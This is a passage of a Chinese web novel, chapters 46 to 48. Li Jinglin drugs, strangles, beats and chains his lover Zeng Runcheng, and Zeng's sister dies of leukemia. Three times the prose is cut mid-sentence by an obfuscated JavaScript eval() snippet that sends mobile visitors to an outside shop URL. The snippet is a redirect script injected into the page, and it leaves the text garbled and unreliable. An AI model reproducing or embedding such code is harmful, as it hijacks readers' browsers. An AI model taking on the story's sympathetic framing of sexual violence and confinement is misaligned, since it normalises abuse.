李景麟微微松开了一点手掌的力度,他紧盯着身下这张令他无比眷恋的脸庞,看他温润的眼眸里涌出泪水,堆叠在绯红的面颊上,看他因为完全无法容纳痛苦的挣扎,他痛到麻木的心头滋生出奇异的快感,他爱不爱他,有什么要紧呢? 反正他是他的,这辈子也别想逃出他的五指山!他甚至觉得他之前的催促与试探是那样的可笑,他记得老宅里太爷爷教他驯马熬鹰:“甜头要给足,手段要狠厉,两般都不行,毁去就是了。不过一个消遣的玩意儿,别太当真。” 李景麟自嘲的扯起嘴角,他要跟他玩什么爱情游戏呢?!从你曾闰成接受这场交易开始,什么时候停,得由我李景麟说了算! 46.第 46 章 第二天,不光曾闰成不见人影,李景麟也一直没有下楼。苏秘书一早便交待李芷玉务必想办法把傅廷恩和江永安拖出去。 李景麟昨晚的脸色,宋奕得逞的表情,傅廷恩捏碎的玻璃杯,都被苏秘书看在眼里,她预感今天会是麻烦的一天,只能各个击破。 李芷玉和曾闰霞相处了一个多星期,关系不错,让她假称身体不太舒服,想去1850小镇散动散动,终于把傅廷恩和江永安带走了。 过了中午,五楼仍然没有人下来,也没让人送食物上去,苏秘书放心不下,端了些现烤的华夫饼去叩门,李景麟的声音从最靠外间的书房里传来:“进来吧。”这个点敢来敲门的除了苏秘书,也没有别人了。 李景麟的脸色看起来有些复杂,既有邑悒不乐,又有餮足意满,他示意苏秘书将东西拿进去,“你劝他吃一点。还有,尽快将姓傅和姓江那小子送走,别再让我看到这两个人。”他冷声吩咐,转身进了洗漱间。 苏秘书踩着一地狼藉,走到两张大床边,将托盘搁到中间的床头柜上,抬眼看去,床上侧躺着的身影裹着一层薄被,露出的手脚上遍布着青紫的痕迹,肩头几个牙印清晰可见,她在心里暗叹一声,“闰成,起来吃点东西吧。” 曾闰成转过身来,苏秘书吓一大跳,他面孔雪白,眼睛浮肿,脖颈间清晰的几道指痕印。他开口,声音嘶哑,“苏秘书,我需要一点消肿润喉的药物。” 他看着床头的华夫饼蹙了一下眉,“麻烦给我一碗粥。”不管内里如何惊涛骇浪,他都需要粉饰太平。 “好,”苏秘书站起身,忍不住低声道,“闰成,你不要跟他犟。” 曾闰成没有答话,等苏秘书走开,他才艰难的起身,从衣帽间翻出高领的毛衣,再去洗漱。 等他收拾齐整,苏秘书已经端着粥和药物返回来,她没有走开,一直在一旁等着,曾闰成微微感到奇怪,但他也没有心思多问。 苏秘书看着他喝了粥吃了药,才轻声道:“闰成,刚小霞说身体不太舒服,我们可能需要先回医院一趟。” 事实上,曾闰霞并不是单纯的不舒服,她是被傅廷恩抱回来的,白色的羽绒服上是淋漓的鲜血,人看着苍白,精神倒还算好,只说头晕乏力。 但是苏秘书很清楚二次移植后的白血病人大出血意味着什么,她有条不紊的安排着李芷玉帮曾闰霞换过衣服,整理行李,又看着曾闰成用餐吃药之后才简单汇报。 曾闰成飞快的跑下楼,八座的雪地车已经在楼下等候,上车的时候一个踉跄,苏秘书眼疾手快的扶了他一把,然后关上车门,雪地车快速的驶向停机坪。 李景麟站在四楼的大露台上,看着那辆雪地车远去,他听苏秘书汇报了情况,并且听从她的建议,没有跟随。 以往他就是对他太好,对他的事太上心,才会纵得他不知好歹。细碎的雪花飘落在他冷峻的面庞上,看着远去的车影,他心里没来由的涌起一股躁意。 宋奕走过来的时机不太好,刚开口唤一声“景麟……”,迎面而来一个耳光,他猝不及防,被打得跌坐在铁艺户外椅上,半边脸瞬间麻木得没有知觉,耳朵里嗡嗡作响。 “你觉得你可以做我的主?”李景麟甩了甩手掌,“上次就警告过你,不要打他的主意,下次再搞这种小动作,”他冰冷的眼神划过他的耳际,“就没这么简单了。” 宋奕那杯加了料的香槟,让曾闰成几乎一整夜没有合眼,不断的在床褥间挣扎又臣服。李景麟欺|凌他,践|踏他,可又无法抑制的心疼他。 宋奕捧着半边脸,不作声,他爬到如今的位置,已经很少有人敢直接甩他巴掌,他幽怨的看着李景麟离去的背影,十几年的陪伴难道比不过三四年的奉承吗?一个为他赚钱为他挣脸面的人难道比不过一个只会花他钱心里还有别人的人吗?他不服! 这巴掌他一定要还到曾闰成脸上!他对李景麟十几年的臣服已经扭曲了他的是非观,他不恨对他动手的李景麟,却记恨给他带来这一巴掌的曾闰成。 ———————————————————————— 私人飞机在巴黎短暂停留,补充燃油后直飞克利夫兰,曾闰霞的情况在随行医护人员的帮助下已经稳定下来,没有再流鼻血,但是她头晕目眩,全身软绵绵的躺在病床上。 她一刻也不能离开傅廷恩,即使躺在病床上也要攥着他的衣角,“廷恩哥,廷恩哥……”她像小猫一样哼唧着,傅廷恩一直握着她的手,只在上厕所和用餐时走开片刻。 曾闰成走过去,她却会把头偏向一边,她的目光拒绝与曾闰成对视。曾闰成伸手想触摸她的额头,被她厌恶的打开,虽然她手上没什么力气,但这明显抗拒回避的姿态令曾闰成眼里瞬间泛起了泪光,“小霞……”他低声轻唤,曾闰霞转头躲进了傅廷恩的怀里。 她低垂着眼睫,无比依赖的紧紧靠着他,傅廷恩只能小心的搂抱着,让她的头靠在他的肩膀上。他看向曾闰成,用眼神传递着安慰。 曾闰成穿着黑色的高领毛衣,苍白的面色浮肿的眼皮,他在曾闰霞的抗拒里手足无措,担忧和难过浮现在脸上,这让傅廷恩的心揪成一团,他多想将他拥进怀里柔声安慰,但此刻他只能搂着曾闰霞孱弱的身体,不断在她耳边加油打气。 江永安在一边眼巴巴的看着,深感好兄弟实在是不容易,情感这么割裂又这么曲折,难道是他伤别人心太多的报应? 李芷玉被曾闰霞淋淋沥沥淌了一身的血吓到,到现在还没回魂,她没有想到只是奉命找个借口,这个借口却成了真,曾闰霞毫无预兆的在她面前仰起头,两行鼻血几乎是瞬间就淌满了衣襟,完全不是小磕小碰的那种流法,是一眼可见的触目惊心。她机械的听从着苏秘书的指挥,跑前跑后的为众人准备着餐食。 只有苏秘书是这一群人的主心骨,她用卫星电话有条不紊的安排着各项事宜,让飞机在降落克利夫兰不久,曾闰霞的担架就被推进了医学中心的大门,二次移植手术的主刀医生都已就位,严阵以待的等待着病人的到来。 曾闰霞被飞速换上病号服,推进检查室。她依依不舍的放开傅廷恩的衣角,一双柔软的眼睛始终凝视在他的脸上。 曾闰霞其实从小就体弱多病,流鼻血是常有的事,但是农村里成长,谁也没有特别在意,每次生病都是硬抗,最多一把药丸了事。后来查出来急性髓系白血病,才知道早有征兆。 傅廷恩将曾闰霞送进检查室,才有机会坐到曾闰成身边给予安慰,“闰成,你不要太担心,一定会没事的,小霞是个坚强的孩子,一定可以挺过来。” 他看着曾闰成佝偻着身体缩在圈椅里,毫无血色的面庞上怔愣的神情,尽管知道此刻言语的安慰总是无力的,也忍不住一遍又一遍在他耳边诉说。 他在牛津所读的基督教会学院,每个星期都会举行大礼拜,尽管他不是基督徒,考试前偶尔也会跟着去祈祷,从来没有哪次像现在一样,虔诚的希望主能够听到他的呼唤。 他并不是不清楚曾闰霞其实是他和曾闰成之间的一重阻隔,但是他更清楚曾闰霞对曾闰成来说有多么的重要,这是他唯一的亲人了。 他从很久之前的交流中就知道,曾闰成从来没有见过自己的父亲,十二三岁就失去了母亲,那年他送他去机场的路上接到了外婆去世的消息,他只剩下这个妹妹。 如果不是为了这个妹妹,他绝不会屈从于李景麟。他看着他几乎盖住下巴的高领毛衣,单薄清瘦的身体,茫然无措的神情,就觉得一颗心揪得生疼。 然而上帝并没有听到他内心的祷告,不到三个小时,戴着眼镜已经秃顶的主治医生急匆匆的奔出来,一叠声的“qulicky ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590097|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,qulicky”表示病人的情况非常不乐观,她想见“傅廷恩/曾闰成”,他用生硬的中文喊着这两个名字。 苏秘书、江永安、李芷玉都聚拢来,医生将他们拦在外面,只允许刚提到名字的两个人进去。他们只能隔着玻璃窗口,看着傅廷恩和曾闰成半跪在曾闰霞的病床前,洁白的被单上依稀可以看见淋漓的鲜血。 曾闰霞躺在傅廷恩的怀里,眼睛却看着曾闰成,这是她发病以来,第一次正视他的眼睛,她轻轻的说:“哥,对不起。” 曾闰成完全不知道自己已经泪流满面,他只是紧紧攥住她的手,却一个音节也发不出来,牙齿间磕磕直响,嘴唇颤抖着,像被胶水粘合在了一起。 曾闰霞吐露的字句却很清晰,她转动着目光看向傅廷恩,“廷恩哥,其实……我知道你喜欢的是我哥,四年前我哥生日的那天晚上……我看到你亲了他……” 她的声音轻柔飘渺,却像炸雷一样落在半跪在病床前的两个人的耳中,他们不敢对视,心脏却不约而同的轰鸣暴跳,“哥……是我偷了你的幸福……对不起……我知道你是为了我……” 就是因为看得太清楚、太明白,她才无法克制对曾闰成的怨恨和厌恶。她知道他为她付出了什么,可这种付出也带给她压力。 少女的天空不可能永远明媚晴朗,总有无法预料的阴霾。阔大的庄园、装修成公主卧室一样的房间、成堆的礼服和奢牌的包包为她博得了关注,也带来了不怀好意的打探。 “你们家为什么这么有钱呢?你哥哥是做什么工作的呢?”“啊,原来是他男朋友有钱呀,sugar baby,哈哈哈……”她在这种调侃面前抬不起头,却又无法反驳。 她坐在旋转木马上,清楚的看到傅廷恩目光追逐的方向,也看到过两人无意之间的对视,对曾闰成的厌恶达到顶点。既然你为我付出这么多,那为什么不能再多一点?为什么不能把廷恩哥让给我?你明明知道我有多么的喜欢廷恩哥…… 她急促的喘息着,瞳孔开始扩散,声音也越发的飘忽低微,“我……我真的很喜欢……廷恩哥……” 她伸出手一只手在床畔艰难的摸索,曾闰成顺着她寻找的方向,看到检查时脱下来的一堆衣物,中间夹杂着几样饰品,他稍一翻找便找到了那枚平安扣,成色并不算很好,是当年给傅廷恩买生日礼物时的添头。 曾闰成颤抖着手将它放在曾闰霞的掌心,傅廷恩见她仍然摊开着五指,心念电转间,伸手将自己脖子上那一块解了下来,将两块重叠在一起,她收拢着五指勉力的握紧了,发出一声满足的轻叹,她是多么想要它们是一对,尽管知道它们并不般配。 她其实很想告诉傅廷恩,从那一年他跑到学校替她出头又牵着她的手走回家,她就喜欢上了他; 当她把和他的合影发在ins上被一些人留言嘲笑说她不配,而他一一反击说她们看不到她心灵的美,这种喜欢升华成了爱; 尤其当她病重,他深情的凝视着她,说爱她,温柔的吻她,即使明知是谎言,她也不愿意清醒;他是她整个少女时代都在憧憬的美梦,太过美好所以无论如何也不愿意放手,如果不是生命走到终点,或许她永远也无法醒悟…… 太多的感触她已经无法说出口,一只手拢着那两块平安扣,另一只手勉力拖着她哥的手移向傅廷恩的方向,傅廷恩搂着她的肩膀,伸出一只手来紧紧的握住了曾闰成一直紧攥着曾闰霞的手掌,三人的手重叠在一起。 他的泪滴落在她稀疏的发顶,即使没有爱情,他也一直把他当妹妹看待,记忆里那些可口的饭菜、崇拜信赖的目光、惊喜的笑脸都在泪眼模糊中一一闪现,“小霞,小霞……” 他紧紧的搂着她,少女满足的露出一抹微笑,缓缓的合上了眼睛。“哥……我想回家……”这是她留在这世间的最后一句话。 47.第 47 章 苏秘书在电话中向李景麟汇报曾闰霞的相关情况:“医疗团队确实已经尽力,所有设备、药物都准备充分,但这个病的急性发作来势凶猛……”她详细讲叙了发病及救治的过程,踌躇片刻,还是省略了最后隔着窗看到的情景。 话筒里有片刻的沉寂,“他情况怎么样?” “不太好,当时就昏死过去,现在还在输液留观。”她尽量客观的描述事实,以打消李景麟想要飞过来的念头,“他可能需要一些时间和空间来接受这件事情。” “后事准备怎么处理?” “逝者的遗愿是回老家,闰成应该会遵照她的想法。我会安排在当地进行火化,之后订头等舱送闰成先回金城再回富州。”骨灰盒上私人飞机显然不合适,生意场上的人都很信奉风水。 李景麟却没这么多避讳,“不必了,报计划直接送他回金城,”他叮嘱苏秘书,“苏茜,这个事情你亲自去处理。如果闰成不反对,丧事尽量办得隆重体面些,以小霞的名义给她的母校捐一笔款。你多宽慰一下他,务必平安的送他回去,再平安的带他回来。” 李景麟对一条年轻生命的逝去还是抱有几分遗憾的,他对那个乖巧的少女也有几分怜惜,但曾闰霞的病症摆在那里,有一定的心理准备,不算特别突兀。 而他显然不认为这件事情会对他和曾闰成的关系造成什么影响。 “是。”电话里是无法解释和劝说的,苏秘书只能先接下这个任务。 等曾闰成捧着骨灰盒踏上回金城的飞机已经是一个星期以后的事情。江永安在参加完追悼会后踏上了回程,他的假期已经超支。 傅廷恩却一直陪伴在曾闰成身侧,他写了数封邮件给导师说明情况,不惜挂科,也要和曾闰成一起送曾闰霞回家。 而且他们执意不肯坐李景麟的专机,苏秘书只能劝他:“闰成,欲速则不达。” 他懂她的意思,视线看向手中的方盒,淡声道,“这是我唯一的桎梏。” “是吗?”苏秘书看一眼一旁的傅廷恩。 傅廷恩的怒气沸腾而起,似乎要上前跟她掰扯一番。 曾闰成阻止了他,“这事与她无关。”他其实明白她的多番回护,并不愿意跟她起冲突,“苏秘书,我办完小霞的后事会亲自去给李总一个交待。但是现在,”他目光落下,“请你让我们自己去处理吧。” 苏秘书看着他们离去的背影只能深深叹了口气,带着李芷玉回去复命。 李芷玉弄不懂这其中的复杂关系,一路追着她问,“闰成哥为什么不肯坐李叔叔的飞机?他为什么跟廷恩哥一起走了?他不回李叔叔那里吗?” 李景麟和王芝芙的关系在李氏家族内部并不是秘密,而且李芷玉私心里觉得曾闰成和李叔叔是很相配的。 苏秘书只好教导她:“很多事情并不是你看的那样子,很多相配的人可能并不相爱。” 李芷玉一脸懵懂,她还没有遭遇过爱情。她只对曾闰霞的离去感到惋惜,她看着傅廷恩将曾闰霞抱在怀里痛哭,不由心酸的想到,如果被这样一个男人深爱过,即使有一天不得不离开这个世界,也不会觉得遗憾吧。 曾闰成带着傅廷恩,先从克利夫兰到纽约,再从纽约飞到金城,然后从金城飞回富州。这个城市名富,实则很穷。 他们坐了大半天的大巴车穿越富川边界,再转中巴五个小时翻过大梁山区,最后在镇上租了一辆三轮摩的,三个小时的晃悠之后,终于回到了生养他的小山村。 这一路的艰辛,曾闰成没有提前给傅廷恩打预防针,沿途也没有给他介绍风景,两个人甚至没怎么交流,他只是带着他,随着车辆的颠簸,穿过那一重重的山峦,翻过一个个陡坡。两人在静默中相互依偎。 日暮时分,两个身影站到了一座三间土坯房的小院落门外,隔着稀疏的栅栏,破败的小院里杂草丛生,十来只鸡鸭在其中飞窜,陌生人的到来让它们四散奔逃。 听到动静,隔壁走出来一个中年妇女,目光在两人身上转了转,终于认出来一张有些熟悉的面孔,“哟,闰成,你怎么回来了?” 她用系着的围裙擦了擦手,看着院落里的鸡鸭,有些讪讪的,“这不是看你们院里空着吗,估摸着也不会回来住了,家里鸡鸭太多养不下……” 傅廷恩要开口,曾闰成制止了他,他点点头,“曾婶,这趟确实是最后一次回来了,以后这院子就给你们了。但是这两天我还要住一下,麻烦你帮忙清理一下。” 他们这个小山村叫曾家村,几乎家家户户都姓曾。五百年前是一家,远亲近邻,平日相处也算和睦。 曾婶听他这么说,便喊出自家男人,赶走鸡鸭,又挥舞着大竹扫帚清扫院里和台阶上的污秽。 曾闰成带着傅廷恩退到院落外面的一株桃树边,正是三四月桃花盛开的季节,他伸手从树干上掰了一块桃油递给傅廷恩,“这是我们小时候的零食。”傅廷恩接过去尝了尝,滋味寡淡,但透着点清香。 曾闰成给了曾婶的小孩一个红包,晚餐在曾家受到了贵客般的招待,但也仅是一碗咸肉一条鲜鱼,一锅土豆,地里的几样新鲜蔬菜。 吃完饭,已是暮色四起,曾闰成领着傅廷恩屋前山后的转悠了一下。他们顺着小山路走过几块梯田,极小的一溜,“这都是我们家的地,枯水的季节要从河里挑水灌溉,我试过挖沟渠引水,地势高了,引不上来。” 他们顺着山路辗转一二里地,才走到挑水的小河边。此时是丰水季节,河流奔腾不息,河面不宽但水深不能见底。 “暑假的时候,我经常带小霞在这河里抓鱼,用竹篾片挡着,运气好可以抓一小背篓。有次光顾着鱼,小霞被水冲出去好远,她那时只有三四岁,我跟着跑到下游才把她捞上来,回家让婆婆揍了一顿。”曾闰成想了一下,“她好像就打过我那么一次。” 山路狭窄,他俩一前一后,月色将他们的身影拉得长长的。 小院落早就断了水电,曾婶点了半截蜡烛,又提了桶水帮他们擦拭了一下厢房的床架,曾闰成从樟木箱子里抱出几床旧被褥,两个枕头,都散发着樟脑丸的气味,两个人一块收拾整理了。 曾闰成又从屋后的井里车上一桶水,傅廷恩接过去,两个人用微凉的井水洗漱了一下,并排躺到那张旧木架床上。 蜡烛跳动着微弱的光芒,曾闰成干脆吹熄了,任无边的夜色流淌进厢房,一同流淌进来的还有无边回忆。 “我婆婆其实是很爱干净的人,这三间小土房总被她收拾得很齐整,廊下挂着成串的玉米稞子,屋角的柴火码得整整齐齐。鸡鸭都养在屋后,院子里种了几株芭蕉花……” 傅廷恩知道曾闰成其实只想诉说一番,他安静的倾听着,间或的“嗯”一声,不知不觉间夜色深浓,他们逐渐进入梦乡里,三月末的山村夜晚犹有凉意,原本两人并排而卧,迷梦里都向着温暖的源泉靠近。 第二天清早,傅廷恩被一阵蝉鸣鸟叫声惊醒,手臂微微的酸麻,一低头,曾闰成就睡在他的臂弯里,他紧紧的贴着他,一只手还搁在他的腰际,是信赖和寻求保护的姿势。 柔软的发丝轻触他的下巴,他微微转目便能看见他白净的面庞和纤长的眼睫,眼下略有乌青,他已经很久没有好好休息了,鼻息微微,好梦沉沉。 傅廷恩将他搂紧了,此刻毫无绮思遐想,只有温情满满的充斥在胸腔之间。 屋外清风阵阵,隔着窗棂可见蓝天白云。屋内馨香满怀,柔情缱绻,“闰成,我爱你。”傅廷恩低低的自语似的,他没有想让曾闰成听见,只是此刻的满足令他情不自禁的直抒胸臆。 曾闰成却睁开了眼睛,他往傅廷恩的怀里缩了缩,放在他腰际的手紧了紧,又重新闭上了眼睛。 在曾叔和几个村人的帮助下,曾闰霞的骨灰入土为安。曾闰成背着人,将那两块平安扣放入了骨灰盒中,又付了一笔钱,按村里的习俗办了一场小小的法事。 他在飞舞的纸钱和鞭炮声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598603|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,将那个小小的骨灰盒埋进了婆婆身侧一米见方的深坑里,一抔抔黄土洒下去,他本已干涸的眼窝又涌出了成串的泪水,傅廷恩毫不避讳村人异样的目光,一直搂着他。 在简单的仪式完成后,曾闰成将院落的钥匙交给了曾婶,他只带走了几张老照片。曾叔问他要不要把婆婆和小霞的坟茔修一下,他也拒绝了。“人生的归途,原就是一抔黄土。” 他们在三月末的寒风中,离开了这个小山村。曾闰成最后回头看了一眼小院门口那棵桃树,粉色的花瓣被风吹得纷纷扬扬,似为他送别。 他们先回到了金城,傅廷恩要带他直接回傅宅,曾闰成当然没同意。“廷恩,我还有事情需要处理。” 他联系了苏秘书,知道李景麟已经回了金城。“我会把他给的东西还给他,”他不会要他的房子和钱,“但是在小霞这件事情上,他确实有恩于我,如果没有他,小霞活不了这么久,也不会有这么多的人生体验。” “我陪你一起去。如果他为难你,我可以……” “廷恩,”曾闰成打断他,“你相信我吗?”这个相信有多重的意思。 傅廷恩握住他双手,深邃的眼眸凝视着他,“当然。” “那你答应我,最近都不要跟我联系。等我离开金城,离开他,我会第一时间打电话给你。”曾闰成亦是认真的看着傅廷恩,“你不了解他,这个事情我单独去处理,他迟早会让我走。但如果你夹在这中间,事情就会变得复杂,结果很难预料。” 相处近四年,曾闰成对李景麟的偏执和控制欲是有深刻了解的,尤其离开高雪维尔的前的那一晚更是有切身的体会。但是人死债消,他已没有掣肘和软肋。 他抽出一只手,轻柔抚上傅廷恩的面颊,“廷恩,你要相信我,我会处理好的。”这本就是他和李景麟之间的事情,没有必要把傅廷恩拖进来。换句话说,没有傅廷恩,他也会离开李景麟。 他温柔的举动再加上祈求的眼神,傅廷恩无法抵抗,偏头蹭了蹭他的手掌,最终还是点了点头。 曾闰成松了口气,“廷恩,其实你这次跟我回家也看到了,我们是两个不同世界成长的人。很多人很多事雾里看花十分美好,真走近了或许会觉得失望不堪。” 傅廷恩明白他的意思,他也没有急着剖白,“闰成,时间会告诉我们答案。” 曾闰成点点头,“你说得对,所以让我们以半年为限。你回伦敦去继续学业,而我也要离开……” 傅廷恩焦急的打断他,“闰成,你不回海德堡吗?你要去哪里?” “我想去非洲支教半年。”曾闰成已经仔细考虑过了,待在国内或者欧洲都不行,李景麟随时可以找到他,他走远些,李景麟见不到他,执念自然就淡了。等他找到新的玩具新的乐子,就会把他抛掷脑后。 “非洲?不行,太危险,各方面条件……”傅廷恩没想到曾闰成会有这个打算,长眉紧皱,表示反对。 曾闰成知道他的担心,“廷恩,我有个师兄去过乌干达支教,他说条件没有想象的差,而且他跟那边比较熟,引荐我过去很容易。你放心,我会照顾好自己的。” 傅廷恩知道曾闰成虽然看着温和,但其实很有主见。他静默了片刻,低声道:“那半年后,我去接你。你……你会跟我走吗?” 他抬起头,晶亮的眼眸凝视着曾闰成。 曾闰成看着那双满怀期待的眼睛,轻轻点了点头,“如果届时你的心意没有改变,我就和你一起……去你想去的地方。” 曾闰霞的离开以及离开时的举动,让曾闰成终于有勇气正视自己的感情。他是喜欢傅廷恩的,尽管他比他小六岁,又曾是他的学生。尽管他觉得自己其实不值得他如此付出。但人生旅途,经历最重要,结果如何只能交给时间和命运。 说完这句,他低下头,眉梢眼角耳廓都泛起了一点红晕。傅廷恩定定看着他,走上前,将他紧紧的抱住,声音里都带了点哽咽,“好。” 48.第 48 章 曾闰成一回到金城,李景麟就得到了消息。他连日来阴沉的面色总算出现转晴的趋势,吩咐苏秘书:“接他回玄武山庄。”就是上次举办生日宴会的宅子,他在金城的时候一般都住那里。 于是,君临一楼大厅的员工们看到她们总裁,一改平日雍容不迫的风范,步履匆匆的出了集团大门,上了那台加长版迈巴赫。 自从上次高雪维尔分别,李景麟已经有大半个月没有见过曾闰成,也没有任何交流,他不可能主动联络他,毕竟前一天晚上两人还剑拔弩张。 对于曾闰成不肯听从他的安排,他恼怒了几天还是渐渐消了怒火。曾闰成素来是有些倔强的,刚大吵一架,自然不会这么听话。而且曾闰霞的逝去肯定让他十分伤心,但是日子还长,他有办法安抚好他,也许可以带他去日本散散心,这个季节樱花开得正好。 苏秘书一直没敢跟他汇报,她对于曾闰成和傅廷恩关系的猜测。一来很多事情只是推断并无实证,二来她私心里觉得感情上的事情不同于其它,由曾闰成自己来说比较好,有时言语不当反而造成误会。 李景麟得知只有傅廷恩陪曾闰成回老家,相当不悦,斥责苏秘书办事不利,不知道派两个人跟着。 但是对于曾闰霞来说,曾闰成和傅廷恩确实是她最重要的两个人,而且白事当头,想来也掀不起什么风浪。 他急匆匆踏上台阶,绕过影壁,透过寿山石的屏风,一眼看到曾闰成正端坐在小花厅饮茶,侧影看着是清瘦了不少,修长的手指在各类茶具间盘桓,眉眼依然清隽温润。看到他进来,他放下手中的茶壶,站起身来。 “闰成,”李景麟先开口,语气温存的轻唤了一声,“你回来了?”不得不承认,这么久没见面,他着实想他了。看他身姿端然的站在那里,就想走过去把他搂进怀里,好好的慰藉一下他的伤痛。 曾闰成点点头,“李总。” 李景麟一顿,停住了急切的脚步,慢慢踱步走了过去,在茶桌边坐下。 曾闰成在他的惯用的建盏里倒上了橙红的液体,“刚沏的大红袍,您尝尝。” 李景麟没有端茶,只淡声道,“一切顺利?” “托您的福,舍妹已经魂归故里,跟婆婆作伴,想必也能安息。这几年多亏您的照应,”曾闰成端起茶杯,“闰成以茶代酒,敬您。”他双手端起茶,抬了抬,轻抿一口。 曾闰成从来不跟李景麟打哑谜,也不会迂回绕圈子,单刀直入,“我这次来是跟您辞行的,我想去非洲支教,短期内不会再回国了。” “哦?一个人?”李景麟伸手将那建盏擎在手里,一双眼睛似笑非笑的盯着他,露出一个玩味的表情。 曾闰成极力抑制心头升起的不安,点点头,“一个人。”每次李景麟露出这种表情,事情就会变得没那么简单。 “法兰克福的房产资料在客厅茶几上,瑞士银行的账户我没有动用过……” “所以,这是跟我算账来了?”李景麟声调懒懒的,突然一扬手,那杯热茶直泼到曾闰成脸上,曾闰成条件反射般的偏过头,面颊瞬间一片绯红,茶水顺着领口淋漓而下,还好放置了一会,不算太烫,他狼狈的抽了几张纸巾擦了擦。 “有这么简单吗?曾闰成,你是觉得你妹死了,给你的东西还给我了,咱们之间就算两清了?”对于曾闰成旧话重提,李景麟气恨非常,他实在是学不乖也弄不怕。 李景麟“嚯”的起身,一脚踢翻了那张紫檀木茶桌,茶壶茶具各类茶叶乒乒乓乓的掉了一地。 曾闰成起身退到花厅边,垂手站立着,面上虽然难掩慌乱,但神情还算镇定。他是知道他的脾气的,但早晚有这么一遭,两个人已经有一段时间没见面,与其重拾亲热再迂回辗转,不如痛痛快快的直说目的,他对这个场面心里有准备。 但李景麟的暴怒还是有点出乎他的意料,相处四年,他从没对他动过手,此刻半边脸上泛起热辣辣的刺痛,提醒着他,李景麟此次的怒火不同寻常。 而他脸上阴郁的表情,令他不由自主想起那一晚被他扼住咽喉的场景,小腿微微的发颤。 李景麟几步就跨过那一堆破碎的茶具,一步一步向他逼近,曾闰成几乎是本能的往后退,直退到窗棂边。 李景麟伸手攥住他的衣领,两人的目光交汇,一双眼睛怒气腾腾,而另一双看似平静无波却也透着一丝倔犟。 两人的体型有差距,李景麟192的身高,本就壮硕,平日又喜欢撸铁健身,曾闰成足足矮了十公分,身材修长,最近吃得少愈加显得清瘦。这样站在一起,越发令弱势的一方心底一阵恐慌。 “曾闰成,你知不知道什么叫上船容易下船难?”李景麟露出一抹狞笑,右掌一挥,曾闰成只觉得后颈一阵剧痛,瞬间就失去了知觉。 等他意识再次清醒,已经身处一间陌生的房间中,首先觉得不对的是手上的触感,千斤重似的,随着意识的苏醒,发出叮铃铃铁器撞击的声音。 他疲惫的睁开眼,后颈处传来的不适感,让他不由自主的转动了一下脖颈,目光移到手上,顿时惊住,双手手腕上赫然一个铜环,将他牢牢的锁缚在一张立柱大床的两端。 房间里光线昏暗,只有一点橘红在床尾翻飞跳跃,听到动静,李景麟的面容在黑暗中隐现,“醒了?”他丢下手里的烟,一脚踩灭,“不然玩起来真是没什么意思。” 他仍是刚从公司回来的西装革履,步履雍容却神情阴鸷的走到床边来。 曾闰成不由自主的移动身体,靠向床头,铜环与床靠之间有一段短短的距离,“李景麟,你疯了?”他的声音有一丝发抖,他一直知道他有很强的控制欲,但这么赤裸裸的捆绑仍然超出了他的认知范畴,“禁锢人身自由是犯|法的,你懂不懂?李景麟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612327|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “现在不叫李总了?”李景麟舔唇一笑,“犯|法?那也得你出得去再说了。” 他走到床边,捞起他的一只脚,在曾闰成没有反应过来之前,往床侧一拍,脚腕一阵剧痛,同时“啪嗒”一声,一只铜环应声跃出锁住了他的脚踝,“为你量身打造,满意吗?” 曾闰成极力稳住自己的表情,不愿意暴露过多的怯弱。他一向知道他很疯,但实在没想到能疯到这个地步。 李景麟俯身下去,手指弹钢琴似的,从脖颈迈步向下……极仔细的检查着…… 虽然以他对曾闰成的了解,是不太可能在这个时间段……但是也难保万一,万一傅家那小子动了什么心思使了什么手段呢? 好在躯体上白皙无暇,没有什么痕迹,他很满意检查的结果,手指有意无意的划过…… 曾闰成抖了抖,闭上眼睛,“你也就这几招了。” 李景麟对……他是清楚的,而且……那些癖好他也很熟悉,你越反抗他越兴奋。他索性闭上眼,一声不吭。 “是吗?那我们今天玩点特别的。”李景麟冷笑道,他按了按床头的铃,门外很快传来请示的声音,“老板?”甜美柔软的港音,是Tina。 “送一盏红烛来。”他说的是一盏而不是一支。 曾闰成愣住,片刻之后,Tina端着一盏五座红烛走进了房间,她一眼看到床上被捆|缚且衣裳不整的曾闰成,愣了愣,李景麟已经挡住她的视线,“出去。”她略一踌躇,只能低着头退出房间。 李景麟端着那盏红烛站在床头,烛光倒映在他脸上,令他看起来分外高大阴森。 他右手稍稍用力,衬衫上的纽扣四散奔逃跃入了床帏间。 曾闰成抖如筛糠,但依然闭目不语,只有紧咬的嘴唇出卖了内心的忐忑。 明明已是春末,却又仿佛回到了寒冬。一片茫茫的白雪地里,飘落了朵朵红梅,却愈发让人有一脚将它们踩进泥地再狠狠碾压的冲动…… 